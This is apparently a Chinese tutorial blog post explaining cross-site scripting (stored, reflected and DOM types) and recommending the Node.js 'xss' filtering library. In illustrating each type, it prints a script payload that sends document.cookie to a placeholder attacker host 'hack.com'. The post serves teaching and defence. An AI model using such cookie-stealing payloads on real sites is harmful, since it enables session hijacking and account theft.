怎么防止跨站脚本攻击(XSS)?
2023-03-15 23:25:13 时间
一、XSS 是什么?
跨站脚本攻击(Cross-site scripting,XSS)是攻击者向网站注入恶意脚本,等待用户访问网站并自动运行恶意脚本发起攻击的过程。不同的脚本可以实现不同目的:
- 盗用cookie,获取敏感信息。
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DoS攻击的效果。
二、XSS 分为3类
1、存储型(持久型)
攻击者把恶意脚本注入服务器并存储起来,等待受害者请求此脚本并在浏览器中自动运行。
- 使用场景:攻击者在评论区提交带有恶意脚本的评论,如果服务器检查不出恶意脚本,那么此恶意评论会被存入服务器数据库,下一个用户访问时,评论会被自动获取并展示,其中恶意脚本也被自动运行了。
// 在评论区,直接把下面的内容提交,如果服务器不做检查,下面内容就被存入服务器数据库
<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>
2、反射型(非持久型)
通过用户点击恶意链接,获取用户已登录的会话cookie。
http://www.example.com/transfer?s=<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>
3、DOM 型
在用户浏览的页面中直接注入代码。
- 实例:HTML中有个锚的功能,也就是通过
#id
来实现当页面的跳转。
# 下面链接表示打开页面,并把 id 为 doc 这个元素滚到页面最上面
http://www.example.com/#doc
# 把 doc 换成 脚本,再访问此页面,意味着脚本会被自动执行
http://www.example.com/#<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>
# 备注:此实例只是解释说明用,目前浏览器早就屏蔽了这样的漏洞。
三、怎么防止 XSS 攻击?
XSS 来源于用户提供的内容,只要过滤掉其中的恶意代码即可,Node.js 项目中推荐使用 xss
库来完成这个工作。
// 1、安装
npm install xss
// 2、使用
var xss = require('xss');
var html = xss('<script>alert("xss");</script>');
console.log(html);
四、xss 相关工具
五、参考文档
相关文章
- 挑战这十七项编程 锻炼大脑并且提升能力
- 现代版“围城”:互联网大数据下的“洗脑”
- 2015年最具人气最热门的十大编程语言
- 关于大数据,这里有10个预测
- 人工智能产业快速发展,2020年规模将破1600亿
- 九种方式帮助开发人员重建对互联网的信任
- 企业在采用大数据之前需加强网络安全
- 思科Spark Room 70搭载全球首款基于AI的会议语音助手,全新登场
- 美国航天局的十大编码戒律
- 我眼中的各种编程语言
- 规避FB数据危机,详解银监会数据治理指引落地路线
- 作为程序员最应该投资的是这十件事
- 为什么要投资程序员的幸福?
- 一次面试引发的思考(中小型网站优化思考)
- 你需要每天写代码吗?
- 企业数据分析工作的任务、工具及挑战
- 关于GDPR,数据科学家和数据工程师需要知道些什么
- 为了理想,我放弃了一切!
- 解密京东热门产品背后的技术支持
- 一张京东618订单的奇妙之旅